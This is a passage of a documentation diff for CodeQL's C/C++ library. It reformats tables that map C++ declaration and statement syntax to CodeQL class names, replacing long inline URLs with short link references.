*en* ``{`` *val1* ``,`` *val2* ... ``};`` ... ``}`` | | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| | ``class`` *C* ``{`` ... | `NestedEnum <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Enum.qll/type.Enum$NestedEnum.html>`__ | | -| | ``enum`` *en* ``{`` *val1* ``,`` *val2* ... ``}`` ... ``}`` | | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``enum class`` *en* ``: short {`` *val1* ``,`` *val2* ... ``}`` | `ScopedEnum <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Enum.qll/type.Enum$ScopedEnum.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| | ``class`` *C* ``{`` ... | `AbstractClass <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Class.qll/type.Class$AbstractClass.html>`__ | | -| | ``virtual void`` *func* ``( int ) = 0;`` ... ``};`` | | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``template < int , float > class`` *C* ``{`` ... ``};`` | `ClassTemplateInstantiation <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Class.qll/type.Class$ClassTemplateInstantiation.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``template < > class`` *C* ``<`` `Type <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$Type.html>`__ ``> {`` ... ``};`` | `FullClassTemplateSpecialization <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Class.qll/type.Class$FullClassTemplateSpecialization.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| | ``template < typename`` *T* ``>`` | `PartialClassTemplateSpecialization <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Class.qll/type.Class$PartialClassTemplateSpecialization.html>`__ | | -| | ``class`` *C* ``<`` *T* ``,`` *5* ``> {`` ... ``};`` | | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``int`` *func* ``( void ) {`` ... ``class`` *C* ``{`` ... ``};`` ... ``}`` | `LocalClass <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Class.qll/type.Class$LocalClass.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``class`` *C* ``{`` ... ``class`` *D* ``{`` ... ``};`` ... ``};`` | `NestedClass <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Class.qll/type.Class$NestedClass.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| | ``class`` *C* ``{`` | `Class <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Class.qll/type.Class$Class.html>`__ | | -| | `Type <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$Type.html>`__ *var* ``;`` | | | -| | `Type <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$Type.html>`__ *func* ``(`` `Parameter <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Parameter.qll/type.Parameter$Parameter.html>`__... ``) {`` ... ``}``... ``};`` | | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| | ``struct`` *S* ``{`` ... | | `Struct <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Struct.qll/type.Struct$Struct.html>`__ | | -| | `Type <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$Type.html>`__ *var* ``;`` | | `Class <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Class.qll/type.Class$Class.html>`__ | | -| | `Type <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$Type.html>`__ *func* ``(`` `Parameter <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Parameter.qll/type.Parameter$Parameter.html>`__... ``) {`` ... ``}``... ``};`` | | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| | ``union`` *U* ``{`` | | `Union <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Union.qll/type.Union$Union.html>`__ | | -| | `Type <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$Type.html>`__ *var1* ``;`` | | `Struct <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Struct.qll/type.Struct$Struct.html>`__ | | -| | `Type <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$Type.html>`__ *var2* ``;`` ... ``};`` | | `Class <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Class.qll/type.Class$Class.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| | ``template < typename`` *T* ``>`` | `ProxyClass <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Class.qll/type.Class$ProxyClass.html>`__ | Appears only in *uninstantiated* templates | -| | ``struct`` *C* ``:`` *T* ``{`` ... ``};`` | | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| | ``int`` *func* ``( void ) {`` ... | `LocalStruct <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Struct.qll/type.Struct$LocalStruct.html>`__ | | -| | ``struct`` *S* ``{`` ... ``};`` ... ``}`` | | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| | ``class`` *C* ``{`` ... | `NestedStruct <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Struct.qll/type.Struct$NestedStruct.html>`__ | | -| | ``struct`` *S* ``{`` ... ``};`` ... ``};`` | | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``int *`` *func* ``( void ) {`` ... ``union`` *U* ``{`` ... ``};`` ... ``}`` | `LocalUnion <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Union.qll/type.Union$LocalUnion.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``class`` *C* ``{`` ... ``union`` *U* ``{`` ... ``};`` ... ``};`` | `NestedUnion <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Union.qll/type.Union$NestedUnion.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``typedef int`` *T* ``;`` | `TypedefType <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/TypedefType.qll/type.TypedefType$TypedefType.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| | ``int`` *func* ``( void ) {`` ... | `LocalTypedefType <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/TypedefType.qll/type.TypedefType$LocalTypedefType.html>`__ | | -| | ``typedef int`` *T* ``;`` ... ``}`` | | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| | ``class`` *C* ``{`` ... | `NestedTypedefType <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/TypedefType.qll/type.TypedefType$NestedTypedefType.html>`__ | | -| | ``typedef int`` *T* ``;`` ... ``};`` | | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``class`` *V* ``:`` ... ``public`` *B* ... ``{`` ... ``};`` | `ClassDerivation <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Class.qll/type.Class$ClassDerivation.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``class`` *V* ``:`` ... ``virtual`` *B* ... ``{`` ... ``};`` | `VirtualClassDerivation <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Class.qll/type.Class$VirtualClassDerivation.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| | ``template < typename`` *T* ``>`` | `TemplateClass <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Class.qll/type.Class$TemplateClass.html>`__ | | -| | ``class`` *C* ``{`` ... ``};`` | | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``int`` *foo* ``(`` `Type <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$Type.html>`__ *param1* ``,`` `Type <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$Type.html>`__ *param2* ... ``);`` | `Parameter <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Parameter.qll/type.Parameter$Parameter.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``template <typename`` *T* ``>`` *T* *t* ``;`` | `TemplateVariable <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Variable.qll/type.Variable$TemplateVariable.html>`__ | Since C++14 | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +This table lists Declaration_ classes representing C/C++ declarations. ++-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ +| Example syntax | CodeQL class | Remarks | ++===============================================================================+==============================================================+=====================================+ +| ``int`` *var* ``;`` | GlobalVariable_ | | ++-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ +| ``namespace`` *N* ``{`` ... ``float`` *var* ``;`` ... ``}`` | NamespaceVariable_ | | ++-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ +| ``int`` *func* ``( void ) {`` ... ``float`` *var* ``;`` ... ``}`` | LocalVariable_ | See also Initializer_ | ++-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ +| ``class`` *C* ``{`` ... ``int`` *var* ``;`` ... ``}`` | MemberVariable_ | | ++-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ +| ``int`` *func* ``(const char`` *param* ``);`` | Function_ | | ++-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ +| | ``template < typename`` *T* ``>`` | TemplateFunction_ | | +| | ``void`` *func* ``(`` *T* ``param);`` | | | ++-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ +| | ``int`` *func* ``(const char*`` *format* ``, ...)`` | FormattingFunction_ | | +| | ``{`` ... ``}`` | | | ++-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ +| *func* ``< int, float > (`` ... ``);`` | FunctionTemplateInstantiation_ | | ++-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ +| | ``template < typename`` *T* ``>`` | FunctionTemplateSpecialization_ | | +| | *func* ``< int,`` *T* ``> (`` ... ``) {`` ... ``}`` | | | ++-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ +| | ``class`` *C* ``{`` ... | MemberFunction_ | | +| | ``int`` *func* ``( float`` *param* ``);`` ... ``};`` | | | ++-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ +| | ``class`` *C* ``{`` ... | ConstMemberFunction_ | | +| | ``int`` *func* ``( float`` *param* ``) const;`` ... ``};`` | | | ++-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ +| ``class`` *C* ``{`` ... ``virtual int`` *func* ``(`` ... ``) {`` ... ``} };`` | VirtualFunction_ | | ++-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ +| ``class`` *C* ``{`` ... *C* ``(`` ... ``) {`` ... ``}`` ... ``};`` | Constructor_ | | ++-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ +| ``C::operator float () const;`` | ConversionOperator_ | | ++-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ +| ``class`` *C* ``{`` ... ``~`` *C* ``( void ) {`` ... ``}`` ... ``};`` | Destructor_ | | ++-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ +| | ``class`` *C* ``{`` ... | ConversionConstructor_ | | +| | *C* ``( const`` *D* ``&`` *d* ``) {`` ... ``}`` ... ``};`` | | | ++-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ +| *C* ``&`` *C* ``:: operator= (const`` *C* ``& );`` | CopyAssignmentOperator_ | | ++-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ +| *C* ``&`` *C* ``:: operator= (`` *C* ``&& );`` | MoveAssignmentOperator_ | | ++-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ +| *C* ``::`` *C* ``(const`` *C* ``& );`` | CopyConstructor_ | | ++-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ +| *C* ``::`` *C* ``(`` *C* ``&& );`` | MoveConstructor_ | | ++-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ +| *C* ``::`` *C* ``(void);`` | NoArgConstructor_ | Default constructor | ++-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ +| ``enum`` *en* ``{`` *val1* ``,`` *val2* ... ``}`` | EnumConstant_ | | ++-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ +| | ``friend void`` *func* ``( int );`` | FriendDecl_ | | +| | ``friend class`` *B* ``;`` | | | ++-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ +| | ``int`` *func* ``( void ) {`` ... | LocalEnum_ | | +| | ``enum`` *en* ``{`` *val1* ``,`` *val2* ... ``};`` ... ``}`` | | | ++-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ +| | ``class`` *C* ``{`` ... | NestedEnum_ | | +| | ``enum`` *en* ``{`` *val1* ``,`` *val2* ... ``}`` ... ``}`` | | | ++-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ +| ``enum class`` *en* ``: short {`` *val1* ``,`` *val2* ... ``}`` | ScopedEnum_ | | ++-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ +| | ``class`` *C* ``{`` ... | AbstractClass_ | | +| | ``virtual void`` *func* ``( int ) = 0;`` ... ``};`` | | | ++-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ +| ``template < int , float > class`` *C* ``{`` ... ``};`` | ClassTemplateInstantiation_ | | ++-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ +| ``template < > class`` *C* ``<`` Type_ ``> {`` ... ``};`` | FullClassTemplateSpecialization_ | | ++-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ +| | ``template < typename`` *T* ``>`` | PartialClassTemplateSpecialization_ | | +| | ``class`` *C* ``<`` *T* ``,`` *5* ``> {`` ... ``};`` | | | ++-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ +| ``int`` *func* ``( void ) {`` ... ``class`` *C* ``{`` ... ``};`` ... ``}`` | LocalClass_ | | ++-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ +| ``class`` *C* ``{`` ... ``class`` *D* ``{`` ... ``};`` ... ``};`` | NestedClass_ | | ++-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ +| | ``class`` *C* ``{`` | Class_ | | +| | Type_ *var* ``;`` | | | +| | Type_ *func* ``(`` Parameter_... ``) {`` ... ``}``... ``};`` | | | ++-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ +| | ``struct`` *S* ``{`` ... | | Struct_ | | +| | Type_ *var* ``;`` | | Class_ | | +| | Type_ *func* ``(`` Parameter_... ``) {`` ... ``}``... ``};`` | | | | ++-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ +| | ``union`` *U* ``{`` | | Union_ | | +| | Type_ *var1* ``;`` | | Struct_ | | +| | Type_ *var2* ``;`` ... ``};`` | | Class_ | | ++-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ +| | ``template < typename`` *T* ``>`` | ProxyClass_ | Appears only in *uninstantiated* | +| | ``struct`` *C* ``:`` *T* ``{`` ... ``};`` | | templates | ++-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ +| | ``int`` *func* ``( void ) {`` ... | LocalStruct_ | | +| | ``struct`` *S* ``{`` ... ``};`` ... ``}`` | | | ++-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ +| | ``class`` *C* ``{`` ... | NestedStruct_ | | +| | ``struct`` *S* ``{`` ... ``};`` ... ``};`` | | | ++-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ +| ``int *`` *func* ``( void ) {`` ... ``union`` *U* ``{`` ... ``};`` ... ``}`` | LocalUnion_ | | ++-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ +| ``class`` *C* ``{`` ... ``union`` *U* ``{`` ... ``};`` ... ``};`` | NestedUnion_ | | ++-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ +| ``typedef int`` *T* ``;`` | TypedefType_ | | ++-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ +| | ``int`` *func* ``( void ) {`` ... | LocalTypedefType_ | | +| | ``typedef int`` *T* ``;`` ... ``}`` | | | ++-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ +| | ``class`` *C* ``{`` ... | NestedTypedefType_ | | +| | ``typedef int`` *T* ``;`` ... ``};`` | | | ++-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ +| ``class`` *V* ``:`` ... ``public`` *B* ... ``{`` ... ``};`` | ClassDerivation_ | | ++-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ +| ``class`` *V* ``:`` ... ``virtual`` *B* ... ``{`` ... ``};`` | VirtualClassDerivation_ | | ++-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ +| | ``template < typename`` *T* ``>`` | TemplateClass_ | | +| | ``class`` *C* ``{`` ... ``};`` | | | ++-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ +| ``int`` *foo* ``(`` Type_ *param1* ``,`` Type_ *param2* ... ``);`` | Parameter_ | | ++-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ +| ``template <typename`` *T* ``>`` *T* *t* ``;`` | TemplateVariable_ | Since C++14 | ++-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ Statement classes ~~~~~~~~~~~~~~~~~ -This table lists subclasses of `Stmt <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$Stmt.html>`__ representing C/C++ statements. +This table lists subclasses of Stmt_ representing C/C++ statements. -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| Example syntax | CodeQL class | Remarks | -+===============================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================+==================================================================================================================================================================+===================================================================================================================================================================================================================================================================================================+ -| ``__asm__ ("`` *movb %bh, (%eax)* ``");`` | `AsmStmt <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$AsmStmt.html>`__ | Specific to a given CPU instruction set | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``{`` `Stmt <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$Stmt.html>`__... ``}`` | `Block <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/stmts/Block.qll/type.Block$Block.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``catch (`` `Parameter <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Parameter.qll/type.Parameter$Parameter.html>`__ ``)`` `Block <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/stmts/Block.qll/type.Block$Block.html>`__ | `CatchBlock <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$CatchBlock.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``catch ( ... )`` `Block <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/stmts/Block.qll/type.Block$Block.html>`__ | `CatchAnyBlock <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$CatchAnyBlock.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``goto *`` *labelptr* ``;`` | `ComputedGotoStmt <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$ComputedGotoStmt.html>`__ | GNU extension; use with `LabelLiteral <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Literal.qll/type.Literal$LabelLiteral.html>`__ | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Type <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$Type.html>`__ *i* ``,`` *j* ``;`` | `DeclStmt <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$DeclStmt.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``if (`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``)`` `Stmt <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$Stmt.html>`__ ``else`` `Stmt <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$Stmt.html>`__ | `IfStmt 